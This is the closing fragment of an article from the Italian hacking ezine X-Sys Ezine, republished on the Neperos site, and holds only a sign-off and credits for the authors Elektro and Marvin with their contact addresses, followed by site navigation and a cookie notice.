Conoscenza. ;)
Ciao!

Elektro (www.x-system.cjb.net teo1987@libero.it)
Marvin (www.marvinhack.3000.it mh@altavista.it)
X-Sys Ezine (www.x-system.cjb.net x-system@email.it)











← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT